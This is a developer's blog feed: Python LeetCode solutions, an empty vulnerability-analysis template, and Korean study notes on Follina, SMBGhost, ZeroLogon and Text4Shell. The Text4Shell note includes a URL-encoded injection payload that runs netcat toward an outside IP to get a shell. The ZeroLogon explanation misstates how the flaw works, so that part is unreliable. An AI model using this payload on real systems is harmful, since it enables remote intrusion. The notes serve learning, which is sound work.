DEV Community: Se-ok Jeon

15. 3-sum

Se-ok Jeon — Fri, 18 Oct 2024 11:33:07 +0000

Constraints

3 <= nums.length <= 3000
-105 <= nums[i] <= 105

Idea #1 (Time: O(N), Memory: O(N))

sort nums
iterate if len(nums) > 2
check duplicate
left, right setup
while left < right
check if 3sum < 0: left++, >0: right--
3sum == 0: append 3 elem @ res and check duplicate both left and right, left++, right--
if done return res, if not go to 2

Test Cases

Example 1:

Input: nums = [-1,0,1,2,-1,-4]
Output: [[-1,-1,2],[-1,0,1]]
Explanation:
nums[0] + nums[1] + nums[2] = (-1) + 0 + 1 = 0.
nums[1] + nums[2] + nums[4] = 0 + 1 + (-1) = 0.
nums[0] + nums[3] + nums[4] = (-1) + 2 + (-1) = 0.
The distinct triplets are [-1,0,1] and [-1,-1,2].
Notice that the order of the output and the order of the triplets does not matter.

Example 2:

Input: nums = [0,1,1]
Output: []
Explanation: The only possible triplet does not sum up to 0.

Example 3:

Input: nums = [0,0,0]
Output: [[0,0,0]]
Explanation: The only possible triplet sums up to 0.

Code

class Solution:
    def threeSum(self, nums: List[int]) -> List[List[int]]:
        res = list()
        nums.sort()
        for i in range(len(nums) - 2):
            if i > 0 and nums[i] == nums[i-1]:
                continue
            left, right = i + 1, len(nums) - 1
            while left < right:
                sum = nums[i] + nums[left] + nums[right]
                if sum < 0:
                    left += 1
                elif  sum > 0:
                    right -= 1
                else:
                    res.append([nums[i], nums[left], nums[right]])
                    while left < right and nums[left] == nums[left + 1]:
                        left += 1
                    while left < right and nums[right] == nums[right -1]:
                        right -= 1
                    left += 1
                    right -= 1
        return res

225. Implement Stack using Queues

Se-ok Jeon — Mon, 07 Oct 2024 12:11:23 +0000

Constraints

1 <= x <= 9
At most 100 calls will be made to push, pop, top, and empty
All the calls to pop and top are valid.

Idea #1 (Time: O(N), Memory: O(N))

push: enqueue everything
pop: dequeue everything, return last one, revert without last one.
top: dequeue everything, return last one, revert!
empty: same as empty

Test Cases

Example 1:

Input
["MyStack", "push", "push", "top", "pop", "empty"]
[[], [1], [2], [], [], []]
Output
[null, null, null, 2, 2, false]

Explanation
MyStack myStack = new MyStack();
myStack.push(1);
myStack.push(2);
myStack.top(); // return 2
myStack.pop(); // return 2
myStack.empty(); // return False

Code

class Node:
    def __init__(self, data):
        self.data = data
        self.next = None

class Queue:
    def __init__(self):
        self.front = None
        self.rear = None

    def enqueue(self, data):
        if self.front is None:
            self.front = self.rear = Node(data)
        else:
            node = Node(data)
            self.rear.next = node
            self.rear = node

    def dequeue(self):
        if self.front is None:
            return None
        node = self.front
        if self.front == self.rear:
            self.front = self.rear = None
        else:
            self.front = self.front.next
        return node.data

    def is_empty(self):
        return self.front is None

class MyStack:

    def __init__(self):
        self.myqueue = Queue()

    def push(self, x: int) -> None:
        self.myqueue.enqueue(x)

    def pop(self) -> int:
        buf = list()
        while not self.myqueue.is_empty():
            buf.append(self.myqueue.dequeue())
        res = buf[-1]
        buf = buf[:-1]
        for elem in buf:
            self.myqueue.enqueue(elem)
        return res

    def top(self) -> int:
        res = self.pop()
        self.myqueue.enqueue(res)
        return res

    def empty(self) -> bool:
        return self.myqueue.is_empty()

232. Implement Queue using Stacks

Se-ok Jeon — Sun, 06 Oct 2024 11:48:47 +0000

Constraints

1 <= x <= 9
At most 100 calls will be made to push, pop, peek, and empty.
All the calls to pop and peek are valid.

Idea #1 (Time: ?, Memory: ?)

push: stack push
pop: iterate until next node of stack is None and return node.data with prev.next = None
peek: same as pop but not prev.next = None
empty: stack.isempty()

Test Cases

Example 1:

Input
["MyQueue", "push", "push", "peek", "pop", "empty"]
[[], [1], [2], [], [], []]
Output
[null, null, null, 1, 1, false]

Explanation
MyQueue myQueue = new MyQueue();
myQueue.push(1); // queue is: [1]
myQueue.push(2); // queue is: 1, 2
myQueue.peek(); // return 1
myQueue.pop(); // return 1, queue is [2]
myQueue.empty(); // return false

Code

class Node:
    def __init__(self, data):
        self.data = data
        self.next = None

class Stack:
    def __init__(self):
        self.top = None

    def push(self, data):
        if self.top is None:
            self.top = Node(data)
        else:
            node = Node(data)
            node.next = self.top
            self.top = node

    def pop(self):
        if self.top is None:
            return None
        node = self.top
        self.top = self.top.next
        return node.data

    def peek(self):
        if self.top is None:
            return None
        return self.top.data

    def is_empty(self):
        return self.top is None

class MyQueue:
    def __init__(self):
        self.mystack = Stack()

    def push(self, x: int) -> None:
        self.mystack.push(x)

    def pop(self) -> int:
        if self.mystack.top.next is None: return self.mystack.pop()
        node = self.mystack.top
        prev = None
        while node.next:
            prev = node
            node = node.next
        res = node.data
        prev.next = None
        return res


    def peek(self) -> int:
        node = self.mystack.top
        prev = None
        while node:
            prev = node
            node = node.next
        return prev.data

    def empty(self) -> bool:
        return self.mystack.is_empty()

:

Se-ok Jeon — Thu, 03 Oct 2024 23:03:42 +0000

The Basics

Disclosure or Patch Date:
Product:
Advisory:
Affected Versions:
First Patched Version:
Issue/Bug Report:
Patch CL:
Bug-Introducing CL:
Reporter(s):

The Code

Proof-of-concept:
Exploit sample:
Did you have access to the exploit sample when doing the analysis?

The Vulnerability

Bug class:
Vulnerability details:
Patch analysis:
Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):
(Historical/present/future) context of bug:

The Exploit

(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)
Exploit strategy (or strategies):
Exploit flow:
Known cases of the same exploit flow:
Part of an exploit chain?

The Next Steps

Variant analysis

Areas/approach for variant analysis (and why):
Found variants:

Structural improvements

What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?
Ideas to kill the bug class:
Ideas to mitigate the exploit flow:
Other potential improvements:

0-day detection methods

What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected as a 0-day?

Other References

20.valid-parentheses

Se-ok Jeon — Thu, 03 Oct 2024 12:32:23 +0000

Constraints

1 <= s.length <= 104
s consists of parentheses only '()[]{}'.

Idea #1 (Time: N, Memory: N)

when buf is not empty, iterate each character
if head is None or different type with token, push
if pair, pop head
if buf and stack is empty, return true, else return false

Idea #2 (Time: N, Memory: N)

Test Cases

Example 1:

Input: s = "()"
Output: true

Example 2:

Input: s = "()[]{}"
Output: true

Example 3:

Input: s = "(]"
Output: false

Example 4:

Input: s = "([])"
Output: true

Code

class Node:
    def __init__(self, data):
        self.data = data
        self.next = None

class Stack:
    def __init__(self):
        self.top = None

    def push(self, data):
        if self.top is None:
            self.top = Node(data)
        else:
            node = Node(data)
            node.next = self.top
            self.top = node

    def pop(self):
        if self.top is None:
            return None
        node = self.top
        self.top = self.top.next
        return node.data

    def peek(self):
        if self.top is None:
            return None
        return self.top.data

    def is_empty(self):
        return self.top is None

class Solution:
    def isValid(self, s: str) -> bool:
        pair = {
            ')': '(',
            '}': '{',
            ']':'['
        }
        mystack = Stack()
        for c in s:
            if mystack.is_empty() or c not in pair.keys() or pair[c] != mystack.peek():
                mystack.push(c)
            elif pair[c] == mystack.peek():
                mystack.pop()
        return mystack.is_empty()

206. reverse-linked-list

Se-ok Jeon — Tue, 01 Oct 2024 11:33:07 +0000

Constraints

The number of nodes in the list is the range [0, 5000].
-5000 <= Node.val <= 5000

Idea #1 (Time: N^2, Memory: N)

until End of List 1.1. pop 1.2. appendleft

Idea #2 (Time: N^2, Memory: N)

until End of List 1.1. popleft 1.2. append

Test Cases

Example 1

Input: head = [1,2,3,4,5]
Output: [5,4,3,2,1]

Example 2

Input: head = [1,2]
Output: [2,1]

Example 3

Input: head = []
Output: []

Code

class ListNode:
    def __init__(self, val=0, next=None):
        self.val = val
        self.next = next
class LinkedList:
    def __init__(self, head=None):
        self.head = head
    def reverse(self):
        if self.head == None or self.head.next == None:
            return
        prev = None
        ahead = self.head.next
        while ahead:
            self.head.next = prev
            prev = self.head
            self.head = ahead
            ahead = ahead.next
        self.head.next = prev
class Solution:
    def reverseList(self, head: Optional[ListNode]) -> Optional[ListNode]:
        linkedlist = LinkedList(head)
        linkedlist.reverse()
        return linkedlist.head

Merge Two Sorted Lists

Se-ok Jeon — Sun, 29 Sep 2024 12:14:36 +0000

Constraints

The number of nodes in both lists is in the range [0, 50].
-100 <= Node.val <= 100
Both list1 and list2 are sorted in non-decreasing order.

Idea #1 (Time: N, Memory: N)

Compare value of each list head node.
Bigger one will be added in res list.
If one of head node doesn't exit, add left one to res list.

Idea #2 (Time: N log N, Memory: N)

Parse all linked list to list
Concatenate lists
Sort using quick sort algorithm
Convert List to Linked List

Test Cases

Example 1

Input: list1 = [1,2,4], list2 = [1,3,4]
Output: [1,1,2,3,4,4]

Example 2:

Input: list1 = [], list2 = []
Output: []

Example 3:

Input: list1 = [], list2 = [0]
Output: [0]

Code

# Definition for singly-linked list.
# class ListNode:
#     def __init__(self, val=0, next=None):
#         self.val = val
#         self.next = next
class Solution:
    def mergeTwoLists(self, list1: Optional[ListNode], list2: Optional[ListNode]) -> Optional[ListNode]:
        node = ListNode(val=0)
        res = node
        tmp = None
        while list1 and list2:
            # Compare value of each list head node
            if list1.val <= list2.val:
                # Bigger one will be added in res list.
                tmp = list1
                list1 = list1.next
            else:
                tmp = list2
                list2 = list2.next
            node.next = ListNode(tmp.val)
            node = node.next
        # If one of head doesn't exit, add left one to res list.
        if list1 and not list2:
            tmp = list1
        elif not list1 and list2:
            tmp = list2
        else: return None
        while tmp:
            node.next = ListNode(tmp.val)
            node = node.next
            tmp = tmp.next
        return res.next

Algorithm Design Template

Se-ok Jeon — Sun, 29 Sep 2024 11:06:37 +0000

Constraints

Idea #1 (Time: N, Memory: N)

Idea #2 (Time: N, Memory: N)

Test Cases

Code

#sample code

Follina

Se-ok Jeon — Wed, 07 Aug 2024 01:56:49 +0000

Follina

Follina는 ms-msdt scheme을 사용하여 Powershell 코드를 실행할 수 있는 RCE 취약점입니다.

용어

ms-msdt?

MSDT(Microsoft Support Diagnostic Tool)는 Microsoft에서 제공하는 진단 도구로, 사용자가 시스템 문제를 해결하기 위해 정보를 수집하고 지원 요청을 생성할 수 있도록 돕습니다. 이 도구는 시스템 성능, 하드웨어 및 소프트웨어 문제를 진단하고, 문제 해결을 위한 정보를 수집하여 기술 지원팀에 전달하는 데 사용됩니다.

공격 과정

악성 문서에서 외부 html 파일 로드
html 파일에서 악의적인 ms-msdt 스킴 주소에 접속
IT_BrowseForFile 파라미터 값을 동적 생성할 수 있도록 스크립트 사용을 허용한 것을 이용하여 Invoke Expression 을 통한 명령어 실행!

IT_BrwoseForFile

IT_BrowseForFile는 사용자가 파일을 선택할 수 있도록 파일 탐색기 대화 상자를 표시하는 기능입니다. 이 파라미터는 진단 도구를 실행할 때 특정 파일이나 로그 파일을 선택하게 하여, 진단 과정에서 필요한 정보를 제공할 수 있도록 돕습니다.

SMBGhost

Se-ok Jeon — Wed, 07 Aug 2024 01:56:32 +0000

SMBGhost

SMBGhost는 SMB 페이로드의 압축 해제 기능에서 원격 코드 실행(RCE)이 가능한 버퍼 오버플로우 취약점입니다.

용어

SMB?

SMB(Server Message Block)는 네트워크 상에서 파일, 프린터, 직렬 포트 및 다른 네트워크 리소스에 대한 공유를 제공하는 프로토콜입니다. Windows 환경에서 주로 사용되며, 클라이언트와 서버 간의 요청 및 응답을 처리합니다.

왜 이름이 SMBGhost인가?

SMBGhost라는 이름은 SMB 포트가 열려 있을 경우, 사용자의 상호작용 없이도 공격이 가능하다는 점에서 유래되었습니다. 즉, 공격자는 특별한 접근 권한 없이 원격에서 쉽게 공격할 수 있습니다.

공격 과정

공격자는 SMB2 Compressions Transform Header와 함께 OriginalCompressedSegmentSize에 Offset/Length를 더한 값을 음수로 설정하여 대상 서버에 전송합니다. 이 과정에서 Integer Underflow가 발생하며, 결과적으로 버퍼 오버플로우가 발생합니다.

실습

언더플로우 세팅

페이로드

ZeroLogon

Se-ok Jeon — Wed, 07 Aug 2024 01:54:46 +0000

ZeroLogon

Microsoft Netlogon 프로세스의 암호에서 발생한 취약점으로 Active Directory 도메인 컨트롤러를 공격하여 계정을 탈취할 수 있습니다.

용어

Netlogon?

Netlogon은 Windows 운영 체제에서 사용되는 네트워크 로그온 프로세스로, 사용자가 도메인에 로그온할 때 인증 과정을 담당합니다.

Active Directory?

Active Directory는 Microsoft의 디렉터리 서비스 기술로, 조직 내 사용자, 컴퓨터, 리소스 등을 중앙에서 관리할 수 있게 해줍니다.

Domain Controller?

도메인 컨트롤러는 Active Directory 환경에서 사용자 인증, 권한 관리 등의 핵심 기능을 수행하는 서버입니다. 도메인 컨트롤러는 Active Directory 데이터베이스를 관리하며, 도메인 내 클라이언트 컴퓨터와 사용자의 인증을 담당합니다.

왜 이름이 ZeroLogon인가?

사용자가 도메인에 있는 컴퓨터에 로그인할 때, 세션 키를 활용합니다. 이 세션 키 생성 암호화 알고리즘은 IV(Initial Vector)를 사용하는데, IV의 범위가 16바이트로 제한되어 있어 0000000000000000이 될 가능성이 큽니다. 문제는 IV가 0000000000000000인 경우, 암호문도 0000000000000000이 되며, 이로 인해 정상적으로 생성된 암호문(세션키)를 사용하여 로그인할 수 있게 됩니다.

취약점 공격 과정

클라이언트가 챌린지 값을 서버에 전송합니다.
서버는 챌린지 값을 키로 암호화하여 클라이언트에게 보냅니다. 이때 IV가 0000000000000000이 되면, 암호문도 0000000000000000이 됩니다.
클라이언트는 IV가 0000000000000000이라고 가정하고, 키 값(0000000000000000)을 사용해 서버에 로그인을 시도합니다.
1~3의 과정이 성공할 때까지 반복합니다.

챌린지

챌린지(Challenge)는 네트워크 통신에서 인증 과정의 일환으로 사용되는 임의의 값입니다. 클라이언트가 서버에 로그인을 시도할 때, 서버는 클라이언트에게 챌린지 값을 보내고, 클라이언트는 이 값을 바탕으로 자신의 인증 정보를 생성하여 서버에 다시 전송합니다. 이를 통해 서버는 클라이언트가 실제로 권한을 가진 사용자임을 확인할 수 있습니다. 챌린지-응답 방식은 중간자 공격(Man-in-the-Middle Attack)을 방지하는 데에도 중요한 역할을 합니다.

실습

Text4Shell

Se-ok Jeon — Wed, 07 Aug 2024 01:54:24 +0000

Text4Shell

Text4Shell은 Apache Commons Text 라이브러리를 사용한 문자열 검색 만으로 원격 코드 실행(RCE) 공격을 할 수 있는 치명적인 취약점입니다.

용어

왜 Text4Shell인가?

Text4Shell은 쉘을 얻기 위해 텍스트를 이용한다는 의미로, 단순한 문자열 검색만으로 쉘을 획득할 수 있다는 것을 나타냅니다.

취약점 공격 과정

취약한 라이브러리를 사용하는 페이지를 탐색합니다.
리버스 쉘을 준비합니다.
URL 인코딩을 수행합니다.
URL 인젝션을 진행합니다.
쉘을 획득합니다.

URL 인코딩

URL 인코딩은 URL에서 사용할 수 없는 문자를 안전하게 변환하기 위해 문자를 퍼센트 기호(%)와 해당 문자의 ASCII 값을 조합하여 표현하는 방식입니다. 이 과정은 URL에 포함된 특수 문자나 공백 등을 처리하기 위해 필요합니다.

URL 인젝션

URL 인젝션은 공격자가 악의적인 코드나 데이터를 URL에 삽입하여 서버의 취약점을 이용해 원치 않는 동작을 유발하는 공격 기법입니다. 이 기법을 통해 공격자는 서버에서 코드 실행을 유도할 수 있습니다.

실습

URL 인코딩

>>> import urllib.parse
>>> urllib.parse.quote("${script:javascript:java.lang.Runtime.getRuntime().exec('nc 10.233.21.155 9001 -e whoami')}")

URL 인젝션
Shell acquired